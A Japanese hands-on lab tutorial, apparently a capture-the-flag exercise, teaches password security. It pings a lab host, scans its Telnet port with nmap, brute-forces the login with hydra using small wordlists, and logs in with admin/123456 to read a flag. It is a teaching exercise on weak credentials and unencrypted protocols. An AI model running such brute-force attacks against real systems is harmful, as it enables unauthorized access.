はじめに
このハンズオンラボでは、パスワードセキュリティとブルートフォース攻撃に焦点を当てます。多くのセキュリティ侵害は、複雑なソフトウェアの脆弱性を突くことによってではなく、単純で弱い、あるいはデフォルトの認証情報によって発生します。ブルートフォース攻撃とは、正しいユーザー名とパスワードの組み合わせが見つかるまで、多数の組み合わせを試行する自動化された手法です。
このラボでは、弱いパスワードで保護された脆弱な Telnet サービスを持つシステムに対する攻撃をシミュレートします。標準的なペネトレーションテストツールを使用して、偵察を行い、攻撃の準備をし、実行します。まず、接続を確認し、nmapでターゲットをスキャンし、次に人気のパスワードクラッキングツールであるhydraを使用してログイン認証情報を発見します。最後に、発見した認証情報を使用してシステムにアクセスし、フラグをキャプチャします。
完了すると、以下の方法を理解できるようになります。
pingを使用してネットワーク接続を確認する。nmapを使用して特定のサービスが実行されていることを確認する。- ブルートフォース攻撃用の単語リストを作成する。
hydraを使用して Telnet サービスに対するブルートフォース攻撃を実行する。- 侵害された認証情報を使用してシステムにアクセスする。
始めましょう。
Ping によるターゲットへの接続確認
このステップでは、まず攻撃マシンがターゲットシステムと通信できることを確認します。ping コマンドは基本的なネットワーク診断ツールで、ターゲットホストにリクエストを送信し、応答を待つことで到達可能性を確認します。
お使いの環境には、ホスト名 target でアクセス可能なターゲットシステムが含まれています。それがオンラインで応答可能であることを確認するために、ターミナルで以下のコマンドを実行してください。-c 4 フラグは、ping に正確に 4 つのパケットを送信するように指示します。
ping -c 4 target
以下のような応答が表示されるはずです。これは、ターゲットがオンラインであり、ネットワーク接続が安定していることを確認します。IP アドレスと応答時間は若干異なる場合があります。
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
接続が確認できたので、ターゲットのスキャンに進む準備ができました。
Nmap によるオープンポートのスキャン
このステップでは、nmap を使用してターゲットのオープンポートと実行中のサービスをスキャンします。これは偵察の重要な部分であり、潜在的な侵入口を特定するのに役立ちます。Telnet サービスが実行されていると推測しており、通常はポート 23 を使用します。
これを確認するために、ターゲットを絞った nmap スキャンを実行します。-p 23 フラグは、スキャンを Telnet ポートに specifically 絞り込みます。
ターミナルで以下のコマンドを実行してください。
nmap -p 23 target
出力には、指定されたポートの状態が表示されます。以下のような結果が表示されるはずです。
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).
PORT STATE SERVICE
23/tcp open telnet
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
出力は、ポート 23/tcp が open であり、telnet サービスが実行されていることを確認します。これは、次のステップでターゲットとするサービスです。
総当たり攻撃による Telnet でのターゲットへの接続
このステップでは、hydra を使用して Telnet サービスに対してブルートフォース攻撃を実行します。パスワードが不明なため、hydra に潜在的なユーザー名とパスワードのリストを自動的に試行させます。
まず、2 つのシンプルな単語リストを作成します。ユーザー名用 (users.txt) とパスワード用 (pass.txt) です。一般的で可能性の高い候補を含めます。
ユーザー名リストを作成します。
echo -e "admin\nuser\nroot" > users.txt
パスワードリストを作成します。
echo -e "password\nadmin\n123456" > pass.txt
次に、hydra を使用して攻撃を開始します。-L フラグはユーザーリストを指定し、-P はパスワードリストを指定し、telnet://target は攻撃対象のプロトコルとホストを定義します。
hydra -L users.txt -P pass.txt telnet://target
hydra は、リスト内のユーザー名とパスワードのすべての組み合わせでログインを試行します。しばらくすると、正しい認証情報が見つかり、表示されます。
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target login: admin password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57
出力には、有効なログインが見つかったことが明確に示されています。ユーザー名は admin、パスワードは 123456 です。
ターゲットシステムの探索とフラグの特定
このステップでは、hydra によって発見された認証情報を使用してターゲットシステムにログインし、フラグを見つけます。これは攻撃の最終段階であり、目的を達成します。
telnet クライアントを使用してターゲットに接続します。
telnet target
システムはログインを求めます。ユーザー名 admin を入力して Enter キーを押します。次に、パスワードを求められたら 123456 を入力して Enter キーを押します。
Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.
Linux 5.15.0-56-generic (target) (pts/0)
target login: admin
Password:
ログインに成功すると、シェルプロンプトが表示されます。これでターゲットシステム内にいることになります。
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$
次に、現在のディレクトリ (/home/admin) の内容を一覧表示してフラグを見つけます。
ls -la
一覧の中に flag.txt ファイルが表示されます。
admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root root 4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile
-rw-r--r-- 1 admin admin 33 Sep 19 06:08 flag.txt
最後に、cat コマンドを使用して flag.txt の内容を読み取ります。
cat flag.txt
ターミナルにフラグが表示されます。
admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}
おめでとうございます!Telnet サービスへのブルートフォース攻撃に成功し、フラグをキャプチャしました。フラグの値をコピーして実験を完了してください。セッションを終了するには、「logout」と入力して Enter キーを押します。
まとめ
この実験では、Telnet サービスに対するブルートフォース攻撃を成功させました。脆弱な認証情報を持つシステムを侵害するための体系的なアプローチを学びました。
以下の方法を実践しました。
pingを使用してネットワークの到達可能性を確認する。nmapを使用して、ターゲットポートで特定のサービスがアクティブであることを確認する。- シンプルでありながら効果的なユーザー名とパスワードの単語リストを作成する。
hydraを使用してログインの組み合わせを試行するプロセスを自動化し、有効な認証情報を特定する。- 侵害された認証情報を使用してログインし、ターゲットシステムを探索してフラグを取得する。
この演習は、脆弱で推測しやすいパスワードの使用という基本的なセキュリティリスクを示しています。また、Telnet のような暗号化されていないプロトコルを使用することの危険性も浮き彫りにしています。これらのプロトコルは、ネットワークスニッフィングに対して認証情報を公開します。ここで学んだスキルは、システムの防御をテストする倫理的なハッカーと、それらを保護しなければならないシステム管理者にとって不可欠です。



